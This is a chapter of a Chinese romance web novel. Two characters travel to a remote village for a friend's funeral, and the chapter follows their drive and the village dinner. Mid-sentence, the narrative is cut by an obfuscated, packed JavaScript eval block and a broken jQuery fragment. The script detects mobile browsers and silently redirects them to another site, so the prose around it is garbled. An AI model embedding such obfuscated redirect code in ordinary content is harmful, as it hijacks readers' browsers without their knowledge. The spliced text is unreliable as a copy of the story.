飞机落地在一个军民两用的机场，机场很小，没几步就到了停车场。这里有独特的地质风貌，处处都是旅游的广告。
言列拉着两人的行李，她低着头在回消息。
一辆悍马直接停在了面前。车上下来两个当地人，一顿礼貌寒暄后，帮着把两个小行李箱搬上了后备箱。
言列解释：“要去王涵的家乡，还有一段路要走。”
宋存心里默叹了一句，祖国地大物博啊。
正要拉开后面的车门，被一句话止住，“你坐前面来。”他的声音，倒与这天干物燥的阳光相悖，自带一股草木的清润气息。
她低低地“哦”了一声，拉开副驾驶的门。应该不是要她开吧，她自信是有的，就怕他不敢坐。
言列在车外询问着什么，阳光太烈，微微蹙着眉，有一点严肃。他的衬衫扔在座位上，只穿着一件米色的T恤，很随性地露出小臂。
他不是很壮硕的身材，骨架高瘦，严肃的样子有一种冷脸的帅。
她拧开一瓶矿泉水，从后视镜里收回了视线。
“你要自己开车吗？”她问出这句话的时候，车已经开向了停车场收费口。
言列轻提了一下嘴角，没有第一时间回答，待车完全开出机场后，才说，“过去还有两个多小时，你可以先休息一会儿。”
宋存没想着休息，看了导航上的地址，在手机上又输入一遍，手指划开，放大了看地形，“真的诶，路也不是很好走，你能一个人开这么久吗？”她在隐晦的告诉他，这车她开不了，而且刚刚那两个当地人说了，有些地方导航可能会没信号的。
“当然。”
宋存得到了肯定的回答，和他被阳光照耀着的，根根分明的睫毛。
“你有墨镜没？”她问他。
“箱子里有。”他看了看后视镜，又补充，“你现在要吗？”
第一时间没得到回答，又看向侧边，宋存正低着头，在包里翻找着什么。
宋存在找她的墨镜。一款Lindafarrow的蓝色渐变方框墨镜，她最常带的一款，轻巧又简约的设计，镜腿是细细的金丝边，完全没有多余的装饰，男女都能戴。
她估摸着他脸窄，是完全没有问题的。
镜片上沾了点她的指纹，擦拭完后侧着光检查了一遍，在红灯前，将墨镜架在了驾驶员的鼻梁上。
视野蒙上一层让眼睛舒服的色调，言列侧头来，意料之中的对视上。
宋存本来只是想看一下试戴效果的，再违心地点个头，敷衍一句将就着带吧，却一时被震慑得说不出话来。
啧啧，这英挺的骨头和建模般的轮廓，可以直接去代言了。
她手指摸上身下的安全扣，指尖微凉，仓促避开了墨镜后那双深潭般的眼睛。
“你可以去开飞机了。”她囫囵道。
“飞机？”声音太小，他偏了下头，起步的时候，身体随着惯性向后一靠，“所以你这个是飞行员眼镜？”
一抹神秘的微笑浮上他另一边的嘴角。
宋存别扭地眨了一下眼，什么飞行员，思想都飞到天上了是吗，比她还飘。
傻子，在夸你帅呢。
但是宋存没说，她也不可能说的，打死都不可能。
从下飞机开始，就被一种莫名其妙的情绪牵绊着，像是两个陌生人，硬挤在同一把狭小的伞下避雨，小心翼翼保持着距离，又免不了肩膀挨着肩膀，时而交汇的目光。
有一种在尴尬中维持的默契。
就算是出于绅士风度的照料，她也不怎么习惯。和他也没有多大关系，她本来也不习惯别人过分的照料。
宋存又在包里翻了一阵，找到个帽子戴上，隐藏掉这一点点悸动。
“你不戴墨镜吗？”言列用余光瞄到她婆婆妈妈的一阵，这样不利落的举动，很不像她啊。
“不戴。”她把遮光板拉下，顺带压了压帽檐，“我要睡觉。”
说完抄着手，放松了微锁的眉头，将整张脸藏匿于挡板的阴影下。
车外，湛蓝天空下，日头比刚刚还毒上几分。视野里那层灰气，在风起沙涌中，迟迟不散。隔着挡风玻璃，给人一种憋闷的颗粒感。
然而，言列鼻尖上萦绕的味道却完全相反。
一种他无法准确描述的味道，像是某款高规格香水的前中调，从清新到浓郁，持续了很久。起码在她睡过去的一个小时内，他都能闻到。
宋存醒来时，车停在了服务区。
她虚着眼睛适应了几秒，才重新睁开。视线被一辆满是黄沙的大卡车遮挡，服务区在午后的静谧中更显空旷。
宋存扭了一下头，才发现就她一个人在车上。
？、？不会这么无聊吧。
正当她迟疑时，言列拎着两瓶水，从卡车后面现身。和大卡车一比，他也变得好渺小，平日里的那种鹤立鸡群荡然无存。
宋存心里想，让你刚刚神气，现在也入乡随俗了吧。
言列拧着眉头开的门，太阳太厉害了，带着墨镜，都觉得四周在闪眼，白亮亮的一片。
“车上不是有水吗？”宋存接过他递过来的橘子味汽水，是某个当地的牌子，冰霜被热量消融，顺着瓶身滴淌，冰冰凉凉的。
“司机不需要补充能量啊？”
言列没关车门，驾驶位宽敞，他长腿往外一搭，活泼的语调裹挟着热浪，席卷而入。
宋存被这么一句噎住，将手里的纸巾攥紧，悻悻地收回了手。
言列仰着头灌了大半瓶，喉结蒙上一层雾气，快速滚动着，一波又一波，浪打浪地刺激着眼球。
宋存移开了视线，嘟囔了句：“还有多久到。”
“还早，估计还得两个小时。”言列冰凉的掌心，抓了抓自己的后颈，舒展肩背，这动作被他做得潇洒又不羁。
“你还可以继续睡会儿。”中途还不忘调侃她。
.......
宋存抚着瓶盖，斜睨他一眼。换了个地方而已，怎么跟换了个灵魂一样。又想起白放说过，说他很喜欢野外活动，这一望无尽的苍凉之景，怕是激发了他蠢蠢欲动的心。
因为那句调侃，她一路上都睁大了眼睛，驱赶自己的困意，把他当个完全的司机，好像是不太妥当。
沉默了太久，开口问他，“你经常开车去这些地方？”
方向盘上的手僵了僵，又立即放松，“很少，很多年没去过了。”
宋存没评价，也没必要追问为什么，长大了哪能像小时候那样随心所欲，想干嘛就干嘛。要是追问一句“你以前不是很喜欢”，倒显得她对他，太过关注了。
落日下得很快，一个铜盆大的轮子，刚刚还在山坡上，不过几个拐弯，就落了下去。太阳一下山，温度降得也快，到村口时，只余紫褐色的一抹光辉，涂在天际线上。
宋存下车的时候，冷不丁打了个冷颤。
没想到这么冷，她深呼吸一口气，让身体内外快速适应。
天已经黑了，路边歪歪扭扭排着一支长队，宋存估摸着应该都是王涵的亲戚，村书记领头和他们寒暄了几句，就领着大家去吃饭。
有个叫邵婶的，是王涵的表婶，在路上告诉她，王涵出息了以后给村子里捐过不少钱，什么希望小学、敬老院、困难家庭资助等，都沾了她的光，大家都自发地来送她最后一程。
几名道士在前方开路，言列与村书记走在最前面，一群女眷拖拖拉拉地走在最后。
寂静的山野，听到道士们带着韵律的低沉诵经声，宋存的心沉甸甸的，和太阳一样，彻底落下了山。
一个年轻的生命啊，就这么没了。
呼吸滞涩住，她艰难地吞咽下去，才勉强顺过来。听不见邵婶惋惜的话，抬头茫然地看着日落后的那个挺拔背影，好像只有看着他，才会安心一点。
像有预感般地，言列停下脚步，转过头来。
视野里灰麻麻的，他看不清她的神情，只觉得被她这样盯着，心里软趴趴的。
不自觉就抬起手臂，向她招了招手。
海上的灯塔闪烁不停，她的心在摇曳中靠了岸。
宋存松散开嘴角，随即摇了摇头，于是一群人又继续往前走。
邵婶也注意到了这一幕，料想她是害怕。本就荒凉贫瘠的土地，道士口中似哭似笑的吟诵，肆无忌惮的神鬼怪谈，换了是她第一次来，她也瘆得慌。
于是更紧地贴住她，她也没走开，微微低下头，报以一个安慰的表情。
“没事的，你拉着我就行。”邵婶宽慰她，“那孩子爸妈也不在了，丧事也办过了，虽然说从简，这一点还是必要的。”
宋存点头表示理解，“劳您费心了。”
“我们费心啥。”邵婶谦虚着道谢，“得亏了你们这些朋友，要是指望她那个舅舅，不知道什么时候才能了却这一桩事。”
“这些都是村主任帮着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869208|171083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张罗的，今天这些道士、明天上山的一应安排都是他操的心，我就是个听安排的。”
宋存：“你们村支书和主任，人还挺好。”
“再好也不如你们，拿钱办事吧，以前拿小涵的钱，这次入葬的花费不也是你们出的吗？
宋存闻言，又看向了前方的背影，正经过孤零零的路灯，影子被拉得很长。
骨灰先放置在王涵的家里，明天一早再按了时辰，请灵入墓。一行人这会儿赶往村委会的小食堂吃饭。
本以为迎接的人已经够多了，没想到小食堂里已经坐满两三桌，感觉整个村子都来了。还好有言列在前面顶着，省去了她很多时间，
邵婶见她穿得单薄，给她倒了杯菊花茶暖手。宋存道了谢，抿了一口。薄薄的塑料，软得像新鲜的鱼皮。
她被引导着坐在了邵婶这一桌，而言列被簇拥着去了主桌。两个人隔空对望一眼，她居然觉得他一脸无奈的样子很好笑。
谁让你逞能的，现在知道要求助了！
餐桌上根本轮不到她说话，大家七嘴八舌地早就聊开了。邵婶在旁边，时不时给她夹菜，附和两句。
席间的话题自然围绕着王涵，无非是一些惋惜的话，只不过宋存听出来了，这些人都不知道王涵是自杀的，以为她是生病过世的。
慢慢到了后半程，话题又转移到她和言列身上。
先是一个红衣服的婶婶眼神从隔壁桌飘回来问她，“小伙子身体挺好啊，我们村支书和村主任一起灌他，还能撑到现在。”
另一位婶婶意味深长地一笑，“就是不知道这喝了酒，晚上爱不爱折腾人。”
宋存嚼着饼，差点被梗住。
什么意思？说给她听的吗？小伙子爱不爱折腾人，她一个小姑娘哪能知道，这些人是不是误会什么呢。
又一人附和，“哎哟，年轻人爱折腾是好事啊，年轻的时候不折腾，老了想折腾都...哎.......”
“哈哈哈。”几个人爽朗地笑开了。
宋存却笑不出来，头埋了下去，脸也红了，装听不懂吧.....
晚饭一结束，人就散了一大半，每个人临走时还拎着个礼盒。那礼盒的logo她认得，是京里一家有名的酒楼做的，就算只卖给熟客，也需要特别预定。食盒的木雕工艺来自非遗传承，小时候就有人送来家里讨个彩。
合不合口味另说，摆出来送人待客一定是有面儿的。
暮霭消散了，银色的月光撒在身上，像是穿了件会发光的丧服。
言列被一群人簇拥着，在扩建的食堂边还在说着什么。大家都喝了酒，肢体语言和讲话的声音变得很大。
她站在挺直的白杨树下，借着昏暗的路灯，就这样看着那群人。
这一幕让她想到在酒吧外遇见他的那一次，他好像也是这样被人簇拥着，身旁萦绕着一群醉鬼。她说不上来是什么感觉，只觉得在寂寂人海，他孑然一身，人味淡得不像话。
没有觉得不好，只是觉得不太...对。记忆中的言列是更海阔天空的，而不是周旋于这些人情往来间。
尽管她知道，他现在的位置，已经是圈内很多人毕生追求的状态。
大概是小时候总是听白放说，只要他列哥想做的事，就一定能做好。
他今天就做的挺好的，可这是他想做的事吗？应该不是吧，如果不是她多事，他可能压根不会出现在这里。
宋存蜷了蜷自己的手指。
这一次再见到他，确实有了些不一样的感觉。记得他以前挺爱折腾的，而现在，总给人一种日子凑合过吧的疲倦感。
她记得看过一篇报道，是一个很出名的地质刊物对他的采访，他说希望能成为一名优秀的地质学家。虽然不知道他现在具体在做什么，但也明白和“地质学家”这种职业相聚甚远。
到底是什么事会这样改变一个人？他是不是不开心啊....
就在她神神叨叨愣神之际，言列猛然扫过来一眼，手上猝不及防，打翻了木梯上装灰的塑料桶，就算及时勾头也未能幸免，桶里的灰烬撒落在了头发里。
这一幕，被宋存看个清清楚楚，放在衣服口袋里的手指不由伸直，才发现够不着他。
言列似乎毫不在意，随意扒拉了两下头发，对身边人摆了摆手，目光却一直向着她。
昏暗的光线从锈迹斑斑的灯柱里溢出来，在这个有些冷的夜晚，生出一种毛茸茸的温暖感。